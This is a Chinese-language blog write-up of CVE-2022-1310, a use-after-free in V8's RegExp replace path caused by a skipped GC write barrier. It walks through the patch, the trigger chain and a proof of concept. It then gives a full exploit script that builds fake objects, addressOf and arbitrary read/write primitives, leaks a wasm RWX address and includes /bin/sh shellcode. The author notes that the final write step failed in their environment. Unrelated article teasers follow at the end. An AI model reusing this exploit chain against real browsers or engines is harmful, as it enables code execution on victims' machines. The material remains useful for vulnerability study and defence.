CVE-2022-1310:RegExp[@@replace] missing write barrier lead a UAF

文章目录

  • 环境搭建
  • 漏洞分析
  • 漏洞利用
    • 漏洞触发链
    • RCE
      • 原语构造
  • 总结
  • 参考

环境搭建

嗯,这里不知道是不是环境搭建的有问题,笔者最后成功的实现了任意地址读写,但是任意读写的存在限制,任意写 wasmRWX 区域时会直接报错,然后任意读存在次数限制。

sudo apt install python
git reset --hard e1e92f8ba77145568e781b47b31ad82535e868bf
export DEPOT_TOOLS_UPDATE=0
gclient sync -D

// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

patch 如下:

diff --git a/src/regexp/regexp-utils.cc b/src/regexp/regexp-utils.cc
index dabe5ee..b260071 100644
--- a/src/regexp/regexp-utils.cc
+++ b/src/regexp/regexp-utils.cc
@@ -49,7 +49,8 @@
   Handle<Object> value_as_object =
       isolate->factory()->NewNumberFromInt64(value);
   if (HasInitialRegExpMap(isolate, *recv)) {
-    JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
+    JSRegExp::cast(*recv).set_last_index(*value_as_object,
+                                         UPDATE_WRITE_BARRIER);
     return recv;
   } else {
     return Object::SetProperty(

可以看到这里仅仅将 SKIP_WRITE_BARRIER 替换成了 UPDATE_WRITE_BARRIER。原来的 SKIP_WRITE_BARRIER 标志会跳过写屏障处理,这里与 GC 有关,具体可以自行谷歌或百度,当然大概原理可以参考后面的参考文章。

简单来说,考虑如下漏洞场景:

  • 对象 Xnew space 中,对象 Yold space 中,而对象 X 仅仅由对象 Y 引用且对象 X 并不是全局的
  • 那么如果此时触发 minor_gc,则对象 X 并不会被遍历 mark,所以此时会将 minor_gc 清除释放
  • 而对象 Y 还保存着对象 X 的引用,所以如果此时操作对象 Y 中对对象 X 的引用,则导致 UAF

那么为了避免上述漏洞场景发生,V8 开发人员为 GC 引入了写屏障,即在执行 object.filed = other_object 时,会将两者的引用关系添加到引用列表中,所以在上述漏洞场景的第二步准备清除对象 X 时,会发生其在引用列表中,所以此时就不会清除释放对象 X,从而避免了漏洞的产生。而这里的写屏障就是 UPDATE_WRITE_BARRIER 标志保障的,当标志为 SKIP_WRITE_BARRIER时不会执行写屏障处理。

当然了仅仅是 SKIP_WRITE_BARRIER 其实问题不太大,只要不产生对象引用即可。这里我们跟踪到上述漏洞函数:

MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
                                              Handle<JSReceiver> recv,
                                              uint64_t value) {
  Handle<Object> value_as_object =
      isolate->factory()->NewNumberFromInt64(value);
  if (HasInitialRegExpMap(isolate, *recv)) {
    JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
    return recv;
  } else {
    return Object::SetProperty(
        isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
        StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
  }
}

该函数就是设置 RegExp.lastIndex,而我们可以看到这里设置的类型为 Smi 或者 HeapNumber,跟进 NewNumberFromInt64 函数:

template <typename Impl>
template <AllocationType allocation>
Handle<Object> FactoryBase<Impl>::NewNumberFromInt64(int64_t value) {
  if (value <= std::numeric_limits<int32_t>::max() &&
      value >= std::numeric_limits<int32_t>::min() &&
      Smi::IsValid(static_cast<int32_t>(value))) {
    return handle(Smi::FromInt(static_cast<int32_t>(value)), isolate());
  }
  return NewHeapNumber<allocation>(static_cast<double>(value));
}

可以看到当 value[smi_min, smi_max] 范围内时,返回的是一个 Smi 类型;而当 value 不在该范围内时,返回的是一个 HeapNumber 类型。

Smi 类型是不存在错误的,因为其并不是在堆上另外分配的,其会直接存储在 RegExp.lastIndex 字段中;主要的问题就是 lastIndex 有可能是 HeapNumber 类型的,其是堆上分配的对象,所以这里存在 RegExp.lastIndex 对其的引用。

因此如果一开始 RegExpold space,而当程序执行到该函数时,value (即重新设置的 lastIndex)的范围不在 Smi 所表示的范围内,那么此时就会在 new space 创建一个 HeapNumber 对象然后赋给 RegExp.lastIndex。那么这里就满足上面描述的漏洞场景了:

  • RegExpold space 的一个对象,RegExp.lastIndexnew space 的一个对象
  • 在设置 RegExp.lastIndex 没有开启写屏障,所以此时触发 minor_gc 会导致 RegExp.lastIndex 所指对象被释放

漏洞利用

漏洞触发链

首先需要考虑的就是如何执行到 SetLastIndex 函数的 if 分支:

MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
                                              Handle<JSReceiver> recv,
                                              uint64_t value) {
  Handle<Object> value_as_object =
      isolate->factory()->NewNumberFromInt64(value);
  if (HasInitialRegExpMap(isolate, *recv)) { // <== check 
    JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); // <== target
    return recv;
  } else {
    return Object::SetProperty(
        isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
        StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
  }
}

首先想要执行到 target,则需要通过 HasInitialRegExpMap(isolate, *recv) 验证,即 RegExp 对象的 map 是否发生改变。

然后往上引用查找,可以发现在 SetAdvancedStringIndex 函数中调用了 SetLastIndex

这里其实还要其它逻辑也会调用到 SetLastIndex 函数,但是难以利用

MaybeHandle<Object> RegExpUtils::SetAdvancedStringIndex(
    Isolate* isolate, Handle<JSReceiver> regexp, Handle<String> string,
    bool unicode) {
  Handle<Object> last_index_obj;
  // 获取 lastIndex 属性
  ASSIGN_RETURN_ON_EXCEPTION(
      isolate, last_index_obj,
      Object::GetProperty(isolate, regexp,
                          isolate->factory()->lastIndex_string()),
      Object);
  // 得到 lastIndex 的值
  ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,
                             Object::ToLength(isolate, last_index_obj), Object);
  // last_index 为 old_lastIndex 的值
  const uint64_t last_index = PositiveNumberToUint64(*last_index_obj);
  // new_last_index 为新的 lastIndex 的值,即就是将 old_lastindex + 1
  const uint64_t new_last_index =
      AdvanceStringIndex(string, last_index, unicode);

  return SetLastIndex(isolate, regexp, new_last_index);
}

uint64_t RegExpUtils::AdvanceStringIndex(Handle<String> string, uint64_t index, bool unicode) {
  DCHECK_LE(static_cast<double>(index), kMaxSafeInteger);
  const uint64_t string_length = static_cast<uint64_t>(string->length());
  if (unicode && index < string_length) {
    const uint16_t first = string->Get(static_cast<uint32_t>(index));
    if (first >= 0xD800 && first <= 0xDBFF && index + 1 < string_length) {
      DCHECK_LT(index, std::numeric_limits<uint64_t>::max());
      const uint16_t second = string->Get(static_cast<uint32_t>(index + 1));
      if (second >= 0xDC00 && second <= 0xDFFF) {
        return index + 2;
      }
    }
  }

  return index + 1;
}

可以看到 SetAdvancedStringIndex 函数会将 lastIndex+1,然后在调用 SetLastIndex,所以如果我们让 old_lastIndex = smi_max,那么当执行到 SetAdvancedStringIndex 函数时,new_lastIndex = old_lastIndx + 1 = smi_max + 1,此时进入 SetLastIndex 函数后,就可以成功执行到 target

然后继续向上引用查找,可以发现仅有 Runtime_RegExpReplaceRT 函数调用了 SetAdvancedStringIndex,该函数在执行 replace 操作时被调用:

// Slow path for:
// ES#sec-regexp.prototype-@@replace
// RegExp.prototype [ @@replace ] ( string, replaceValue )
RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {
  HandleScope scope(isolate);
  DCHECK_EQ(3, args.length());

  CONVERT_ARG_HANDLE_CHECKED(JSReceiver, recv, 0);
  CONVERT_ARG_HANDLE_CHECKED(String, string, 1);
  Handle<Object> replace_obj = args.at(2); // 被替换对象
  Factory* factory = isolate->factory();
  string = String::Flatten(isolate, string); // 替换字符串
  // replace_obj 是否是回调函数
  const bool functional_replace = replace_obj->IsCallable();

  Handle<String> replace;
  if (!functional_replace) {
  	// 不是则转换为字符串存储在 repalce 中
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, replace,
                                       Object::ToString(isolate, replace_obj));
  }

  // Fast-path for unmodified JSRegExps (and non-functional replace).
  // JSRegExp 没有被修改(查看IsUnmodifiedRegExp可以指的主要就是指exec属性没有被修改)则进入快速路径
  if (RegExpUtils::IsUnmodifiedRegExp(isolate, recv)) {
    // We should never get here with functional replace because unmodified
    // regexp and functional replace should be fully handled in CSA code.
    CHECK(!functional_replace);
    Handle<Object> result;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, result,
        RegExpReplace(isolate, Handle<JSRegExp>::cast(recv), string, replace));
    DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, recv));
    return *result;
  }
  // 被替换字符串的长度
  const uint32_t length = string->length();
  // 检查是否是全局匹配
  Handle<Object> global_obj;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, global_obj,
      JSReceiver::GetProperty(isolate, recv, factory->global_string()));
  const bool global = global_obj->BooleanValue(isolate);

  bool unicode = false;
  if (global) { // 具有全局匹配标志(g),则会将 lastIndex 置为 0,即从头开始匹配
    Handle<Object> unicode_obj;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, unicode_obj,
        JSReceiver::GetProperty(isolate, recv, factory->unicode_string()));
    unicode = unicode_obj->BooleanValue(isolate);

    RETURN_FAILURE_ON_EXCEPTION(isolate,
                                RegExpUtils::SetLastIndex(isolate, recv, 0));
  }

  Zone zone(isolate->allocator(), ZONE_NAME);
  ZoneVector<Handle<Object>> results(&zone);
  // 开始匹配
  while (true) {
    Handle<Object> result;
    // 调用 re.exec 进行匹配替换处理
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, result, RegExpUtils::RegExpExec(isolate, recv, string,
                                                 factory->undefined_value()));
	// 匹配失败则退出循环,这里匹配失败的标志是返回 null
    if (result->IsNull(isolate)) break;

    results.push_back(result);
    if (!global) break; // 不是全局匹配,则匹配一次就返回

    Handle<Object> match_obj; // 获取 match_obj[0]
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match_obj,
                                       Object::GetElement(isolate, result, 0));

    Handle<String> match; // 转换为字符串
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match,
                                       Object::ToString(isolate, match_obj));
	// 如果 match->length() = 0 则会调用到 SetAdvancedStringIndex 函数
    if (match->length() == 0) {
      RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex(
                                               isolate, recv, string, unicode));
    }
  }
......

主要关注的功能点如下(具体看注释):

  • 如果 re.exec 没有被修改过则直接走快速路径
  • 如果 re.exec 被修改了则走慢速路径
    • 如果有设置全局匹配标志(g),则设置 lastIndex = 0
    • 调用 re.exec 进行匹配 [一个 loop]
      • 如果返回 null,则 break
      • 如果没有设置全局匹配标志(g),则 break
      • 检查 re.exec 返回的对象(字符串)长度是否为 0
        • 如果为 0,则调用 SetAdvancedStringIndex

我们的目的就是调用 SetAdvancedStringIndex,所以得绕过上述相关逻辑:

  • 修改 re.exec,使得执行流走慢速路径
  • 设置全局匹配标志(g)防止提前 break
  • re.exec 中再次修改 re.exec 使其返回 null,从而防止无限循环

综上所述,我们最后给出 poc

const {log} = console;
const MAX_SMI = 1073741823;
var roots = new Array(0x30000);
var index = 0;


function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                roots[index++] = new ArrayBuffer(0x200000);
        }
        roots[index++] = new ArrayBuffer(8);
}

var re = RegExp("foo", "g"); // 全局对象 re, 设置全局匹配标志 "g"
RegExp.prototype.exec = function() { return null; }; // 修改 RegExp 原型链上的 exec 函数

re.exec = function() {
        major_gc();             // 使 re 移动到 old space
        new Array(0x10);        // 分配一个 tmp buf
        re.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAX
        delete re.exec;         // 删除 re.exec
        return [""];            // 返回 [""]
};
var str = re[Symbol.replace]("ooo", "guys");

minor_gc(); // minor_gc 释放 re.lastIndex 引用的对象
major_gc(); // 标记 re.lastIndex 对象为 live

new Array(0x40);

%DebugPrint(re.lastIndex);
// 输出:
// DebugPrint: 0x177a00002469: [Oddball] in ReadOnlySpace: #hole

这里稍微解释一下 poc 的构造。我们最开始把 RegExp.prototype.exec 设置为了返回 null 的函数其主要就是为了防止无限循环。

当执行 re[Symbol.replace]("ooo", "guys"); 时:

  • 会调用到 Runtime_RegExpReplaceRT 函数,由于我们修改了 re.exec,所以其会走慢速路径。
  • 而我们设置了 g 标志,所以 re.lastIndex 被修改为 0
  • 然后调用 re.exec 进行匹配:
re.exec = function() {
        major_gc();             // 使 re 移动到 old space
        new Array(0x10);        // 分配一个 tmp buf
        re.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAX
        delete re.exec;         // 删除 re.exec
        return [""];            // 返回 [""]
};
  • re.exec 返回 [""],其不为 null,所以不会 break。主要在 re.exec 中的操作,此时 re 已经移动到了 old space 区,re.lastIndex = SMI_MAXre.exec 属性被删除了
  • 由于设置了 g 标志,所以不会 break
  • 检查 re.exec 返回的字符串长度是否为 0,这里返回的 "" 其长度是为 0 的
    • 通过长度为 0 检查,从而调用 SetAdvancedStringIndex
      • SetAdvancedStringIndex 函数中 new_lastIndex = old_lastIndex + 1 = SMI_MAX + 1,然后调用 SetLastIndex
        • SetLastIndex 中,由于 re.exec 已经被删除了,所以此时可以通过 HasInitialRegExpMap 检查。最后成功执行到漏洞逻辑
  • 然后会继续循环匹配,这时又会调用 re.exec,但是在第一次调用 re.execre.exec 属性被删除了,所以此时会到原型链上找,最后执行的 re.exec 其实就是 RegExp.prototype.exec
RegExp.prototype.exec = function() { return null; };
  • re.exec 返回 null,跳出循环,然后执行后面的代码

RCE

这里主要利用到了 v8(d8) 的一个特性:

  • 引入指针压缩后,特定对象低 4 字节固定
    所以其实 HOLEY_DOUBLE_ELEMENTS FixedDoubleArray map 的低 4 字节是固定的,考虑如下测试用例:

4 种情况的输出分别是:

DebugPrint: 0x16ac0004a4f1: [JSArray]
 - map: 0x16ac00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x15af0004a4f1: [JSArray]
 - map: 0x15af00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x10630004a4f1: [JSArray]
 - map: 0x106300203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x53b0004a481: [JSArray]
 - map: 0x053b00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]

可以看到这里的 map 的低 4 字节是固定的 0x00203b41

这也说明了这种利用方式是针对特定版本环境的,即 exp 不具备通用性

所以其实我们是没必要泄漏 map 的,接下来就是去构造对象重叠:
在这里插入图片描述
即我们申请一个特定大小的数组对象,并在数组中布置好 map|properties,len|element,那么就有机会形成如上图的内存布局,此时我们如果拿出 fake_obj = re.lastIndex,则 v8 会根据 map 将其解析为一个浮点数组对象。而我们可以通过 fake_array 去修改 fake_objlength/element

为什么是特定大小呢?因为特定大小的数组对象其 map/element 每次分配都是固定的

原语构造

addressOf:可以将 fake_objlength 改大,从而实现越界读,然后就可以读取后面的 obj 地址
arb_read_heap:这里主要是利用其来泄漏 RWX 区域的地址,我们可以修改 fake_objelementwasm_instance offset + ? 从而泄漏 rwx_addr
arb_read/arb_write:喷射大量 ArrayBuffer,从而利用越界写修改 backing_store

exp 如下:

const {log} = console;
const MAX_SMI = 1073741823;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
var roots = new Array(0x30000);
var index = 0;

function l2d(val) {
        l_buf[0] = val;
        return d_buf[0];
}

function d2l(val) {
        d_buf[0] = val;
        return l_buf[0];
}

function hexx(str, val) {
        log(str+": 0x"+val.toString(16));
}

function decc(str, val) {
        log(str+": "+val.toString());
}

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                roots[index++] = new ArrayBuffer(0x200000);
        }
        roots[index++] = new ArrayBuffer(8);
}


var spray_chunk_arr = new Array(1000);
function spray_chunk() {
        for (let i = 0; i < 200; i++) {
                new ArrayBuffer(0x500);
                spray_chunk_arr[i] = new ArrayBuffer(0x10);
                new ArrayBuffer(0x2024);
        }

}

var re = RegExp("foo", "g");
RegExp.prototype.exec = function() { return null; };

re.exec = function() {
        major_gc();
        new Array(0x10);
        re.lastIndex = MAX_SMI;
        delete re.exec;
        return [""];
};
var str = re[Symbol.replace]("ooo", "guys");

minor_gc();
major_gc();

var fake_obj = re.lastIndex;


//print(l2d(0x0000226900203b19n));
//print(l2d(0x0000800000342151n));

/*
1.86926619662186e-310
6.95335597662764e-310
*/

var fake_array =[
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,
        1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310];

var addressOf_array = [0x5f74, 0x5f74, fake_obj, fake_array];

var spray_buf = [];
for (let i = 0; i < 0x30; i++) {
        spray_buf[i] = new ArrayBuffer(0x2024);
}

var addressOf_idx = -1;
for (let i = 0; i < fake_obj.length; i++) {
        let val = d2l(fake_obj[i]);
        if (val == 0xbee80000bee8n) {
                addressOf_idx = i+1;
                hexx("addressOf_idx", addressOf_idx);
                break;
        }
}

if (addressOf_idx == -1) {
        throw "Failed to leak addressOf_idx";
}

var backing_store = -1;
var backing_store_idx = -1;
for (let i = 0; i < fake_obj.length-2; i++) {
        let val = d2l(fake_obj[i]);
        if (val == 0x2024n) {
                hexx("[===dump===]", val);
                hexx("[===dump===]", d2l(fake_obj[i+1]));
                hexx("[===dump===]", d2l(fake_obj[i+2]));
                fake_obj[i] = l2d(0x200n);
                fake_obj[i+1] = l2d(0x200n);
                backing_store = d2l(fake_obj[i+2]);
                backing_store_idx = i+2;
                break;
        }
}

if (backing_store_idx == -1) {
        throw "Failed to leak backing_store_idx";
}


hexx("backing_store", backing_store);
hexx("backing_store_idx", backing_store_idx);
var victim_idx = -1;
var dv;
for (let i = 0; i < 0x30; i++) {
        if (spray_buf[i].byteLength == 0x200) {
                log("construct evil dv successfully");
                fake_obj[backing_store_idx-1] = l2d(0x2026n);
                fake_obj[backing_store_idx-2] = l2d(0x2026n);
                dv = new DataView(spray_buf[i]);
                victim_idx = i;
                break;
        }
}


if (victim_idx == -1) {
        throw "Failed to leak victim_idx";
}

function addressOf(obj) {
        addressOf_array[2] = obj;
        return (d2l(fake_obj[addressOf_idx]) & 0xffffffffn);
}


var self_idx = -1;
for (let i = 1; i < 48; i+=2) {
        fake_array[i] = l2d(0x800000000n);
        val = d2l(fake_obj[0]);
        if (val != 0x0000226900203b19n) {
                self_idx = i;
                fake_array[i] = 6.95335597662764e-310;
                break;
        }
}


if (self_idx == -1) {
        throw "Failed to leak self_idx";
}
hexx("self_idx", self_idx);

function arb_read_heap(off) {
        fake_array[self_idx] = l2d((off-8n)|0x800000000n);
        let val = d2l(fake_obj[0]);
        fake_array[self_idx] = 6.95335597662764e-310;
        return val;
}

function arb_write(addr, val) {
        fake_array[self_idx] = 6.95335597662764e-310;
        fake_obj[backing_store_idx] = l2d(addr);
        dv.setFloat64(0, l2d(val), true);
}

function arb_read(addr) {
//      print("arb_read 1");
        fake_array[self_idx] = 6.95335597662764e-310;
//      print("arb_read 2");
        fake_obj[backing_store_idx] = l2d(addr);
//      fake_obj[backing_store_idx+1] = l2d(addr);
//      print("arb_read 3");
        return dv.getBigInt64(0, true);
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var pwn = wasm_instance.exports.main;
var wasm_instance_offset = addressOf(wasm_instance);
hexx("wasm_instance_offset", wasm_instance_offset);

var rwx_addr = arb_read_heap(wasm_instance_offset+0x60n);
hexx("rwx_addr", rwx_addr);

var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];

/*
for (let i = 0; i < shellcode.length; i++) {
        arb_write(rwx_addr, shellcode[i]);
        rwx_addr += 8n;
}
*/


/*
for (let i = 0; i < 0x100; i++) {
        log(i.toString(16)+" => "+d2l(fake_obj[i]).toString(16));
}
*/

/*
//%DebugPrint(dv.buffer);
%DebugPrint(fake_obj);
var chunk_addr = backing_store - 0x10n;
for (let i = 0; i < 50; i++) {
        hexx("chunk_addr", chunk_addr);
        let prev_size = arb_read(chunk_addr);
        let size = arb_read(chunk_addr+8n);
        hexx("size", size);
        hexx("prev_size", prev_size);
        if (size !== 0n && (size%2n) === 0n) {
                let prev_ptr = chunk_addr - prev_size;
//              hexx("prev_ptr", prev_ptr);
                let fd = arb_read(prev_ptr+0x10n);
//              hexx("fd", fd);
                let bk = arb_read(prev_ptr+0x18n);
//              hexx("fd", fd);

                if (((fd>>48)&0xff00n) === 0x7f00n) {
                        hexx("fd", fd);
                        break;
                } else if (((bk>>48)&0xff00n) === 0x7f00n) {
                        hexx("bk", bk);
                        break;
                }
        }
        size -= ((size%2n)===0n?0n:1n);
        chunk_addr += size;
//      print("-------------------------------------------------------");
}
*/

//pwn();

//readline();

总结

总的来说难度不大,但是搞了好久,主要就是环境存在问题,最后的 exp 也打不通。然后对 GC 的了解也是浮于表面。

参考

https://d0ublew.github.io/writeups/osu-gaming-ctf-2024/pwn/osu-v8/index.html#osu-v8

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/456904.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

暗光增强——IAT网络推理测试(详细图文教程)

IAT模型由两个独立的分支组成&#xff0c;局部分支用于像素调整&#xff0c;并输出两个用于加法和乘法的特征图。全局分支用于全局调整并输出颜色矩阵和gamma值&#xff0c;全局分支受DETR启发&#xff0c;网络通过动态查询学习的方式更新颜色矩阵和gamma值。整个模型只有超过9…

设置浏览器显示小于12px以下字体

问题 我们在项目开发过程中有时候会遇到设计师给的小于12px的字体&#xff0c;IE、火狐浏览器、移动端等小于12px的字号大小还是可以正常显示的&#xff0c;但是谷歌浏览器上显示字体最小为12px&#xff0c;css设置font-size&#xff1a;10px&#xff0c;运行代码显示结果仍然…

JAVA基础:数组、重载、数据类型、封装、字符串、静态、继承、重写、多态、代码块、权限、接口、内部类

1 数组 //静态初始化 int[] arr1new int[]{1,2,3,4} //简化形式 int[] arr2{1,2,3,4} //动态初始化 int[] arr3new int[5] 2 方法重载 在同一个类中的多个方法的方法名相同,参数个数不同&#xff0c;参数类型不同&#xff0c;参数类型顺序不同 public class Test1 {public …

KubeSphere 社区双周报|2024.02.29-03.14

KubeSphere 社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过 commit 的贡献者&#xff0c;并对近期重要的 PR 进行解析&#xff0c;同时还包含了线上/线下活动和布道推广等一系列社区动态。 本次双周报涵盖时间为&#xff1a;2024.02.29-03.14…

多媒体操作流程

&#xff01; 从左至右依次为&#xff1a;话筒、投影遥控器、ppt演讲笔、幕布升降遥控器、无线投屏连接器 主机箱 投影仪 二、操作流程 1、打开主机电源&#xff1a;最下面两台设备的开关打开 2、打开投影仪&#xff1a;用投影遥控器对准投影仪按开机键&#xff08;如无需用到…

SwiftUI的context Menu

SwiftUI的 context Menu 现在来演示一下如何使用 SwiftUI 的 Context Menu 。 代码&#xff1a; import SwiftUIstruct ContextMenuBootCamp: View {State var bgColor: Color .purplevar body: some View {VStack(alignment: .leading, spacing: 10.0) {Image(systemName: …

【开源】SpringBoot框架开发公司货物订单管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 客户管理模块2.2 商品维护模块2.3 供应商管理模块2.4 订单管理模块 三、系统展示四、核心代码4.1 查询供应商信息4.2 新增商品信息4.3 查询客户信息4.4 新增订单信息4.5 添加跟进子订单 五、免责说明 一、摘要 1.1 项目…

力扣刷题日记——L83. 删除排序链表中的重复元素

1. 前言 今天是力扣刷题打卡的第四天&#xff0c;今天带来一道简单题。一开始做了一道中等难度的题&#xff0c;但是很遗憾&#xff0c;没有解出来&#xff0c;但是为了不耽误今天的打卡计划&#xff0c;所以先选一个简单题做了&#xff0c;回头做出来那道题再和大家分享。话不…

一口吃掉Linux基础操作

一般在windows上面想要操作Linux系统就需要装软件搞一个虚拟机&#xff0c;我用的是Ubuntu22&#xff0c;就是Linux的发行版.安装Ubuntu的过程比较复杂&#xff0c;最重要的一点是安装时要断网&#xff0c;否则会很慢。 Ubuntu 配置指南 — 地震“学”科研入门教程 先介绍一个…

安卓通过termux部署ChatGLM

一、安装Termux并进行相关配置 1、安装termux Termux 是一个 Android 终端仿真应用程序&#xff0c;用于在 Android 手机上搭建一个完整的 Linux 环境。 不需要 root 权限 Termux 就可以正常运行。Termux 基本实现 Linux 下的许多基本操作。可以使用 Termux 安装 python&…

logistic回归分析

结局变量&#xff1a;二分类&#xff08;常见&#xff09;或多分类变量研究一个或多个原因变量和结果变量的因果关系 eg&#xff1a;Y必须是分类变量

手写简易操作系统(九)--实现打印函数

前情提要 前面我们已经进入内核程序了&#xff0c;中间穿插了一点特权级的知识&#xff0c;现在我们开始准备一个打印函数 很不幸&#xff0c;还有汇编程序 一、C调用规约 因为涉及到C与汇编的联合编程&#xff0c;我们这里简述一下调用规约&#xff0c;调用规约就是约定参…

【DataWhale学习】用免费GPU线上跑chatGLM项目实践

用免费GPU线上跑chatGLM项目实践 ​ DataWhale组织了一个线上白嫖GPU跑chatGLM与SD的项目活动&#xff0c;我很感兴趣就参加啦。之前就对chatGLM有所耳闻&#xff0c;是去年清华联合发布的开源大语言模型&#xff0c;可以用来打造个人知识库什么的&#xff0c;一直没有尝试。而…

MES管理系统中电子看板都有哪些类型?

随着工业信息化和智能制造的不断发展&#xff0c;MES管理系统已经成为现代制造业不可或缺的重要工具。MES管理系统通过集成和优化生产过程中的各个环节&#xff0c;实现对生产过程的实时监控、调度和管理&#xff0c;提高生产效率和质量。 在生产制造过程中&#xff0c;看板管…

1 redis7概述

Redis7 1 Redis简介 Redis之所以称之为字典服务&#xff0c; 是因为 Redis 是一个 key-value存储系统。 支持存储的 value类型很多&#xff0c; 包括 String(字符串)、List(链表)、Set(集合)、Zset(sorted set --有序集合)和 Hash&#xff08;哈希类型&#xff09;等。 Redis…

python INI文件操作与configparser内置库

目录 INI文件 configparser内置库 类与方法 操作实例 导入INI文件 查询所有节的列表 判断某个节是否存在 查询某个节的所有键的列表 判断节下是否存在某个键 增加节点 删除节点 增加节点的键 修改键值 保存修改结果 获取键值 获取节点所有键值 其他读取方式 …

linux下dlib静态库和动态库编译

本文讲述的linux系统下如何编译dlib的静态库和动态库方法。 dlib源码下载地址 dlib官网&#xff1a;dlib C LibraryGitHub - davisking/dlib: A toolkit for making real world machine learning and data analysis applications in C dlib源码的目录结构如下&#xff1a; 编…

【TB作品】MSP430单片机,音乐播放器,四首音乐,八音盒,Proteus仿真

文章目录 题目要求仿真结果实验报告&#xff1a;基于MSP430单片机的八音盒设计实验目的实验设备实验原理总结 代码和仿真图 题目要求 八音盒 本设计利用MSP430单片机结合内部定时器及LED/LCD,设计一个八音盒,按下单键可以演奏预先设置的歌曲旋律。 基本要求: 使用LED/LCD显示器…

格子表单GRID-FORM | 必填项检验 BUG 修复实录

格子表单/GRID-FORM已在Github 开源&#xff0c;如能帮到您麻烦给个星&#x1f91d; GRID-FORM 系列文章 基于 VUE3 可视化低代码表单设计器嵌套表单与自定义脚本交互文档网站搭建&#xff08;VitePress&#xff09;与部署&#xff08;Github Pages&#xff09;必填项检验 BUG…

AS-V1000 视频监控平台产品介绍:web客户端功能介绍(上)

目 录 一、引言 1.1 AS-V1000视频监控平台介绍 1.2 平台服务器配置说明 二、软件概述 2.1 软件用途 2.2 登陆界面 2.3 主界面 2.4 视频浏览 三、web端主要功能介绍 3.1 多画面风格 3.1.1风格切换 3.1.2 切换效果 3.2截屏 3.2.1 单画面截屏 3.2.2 …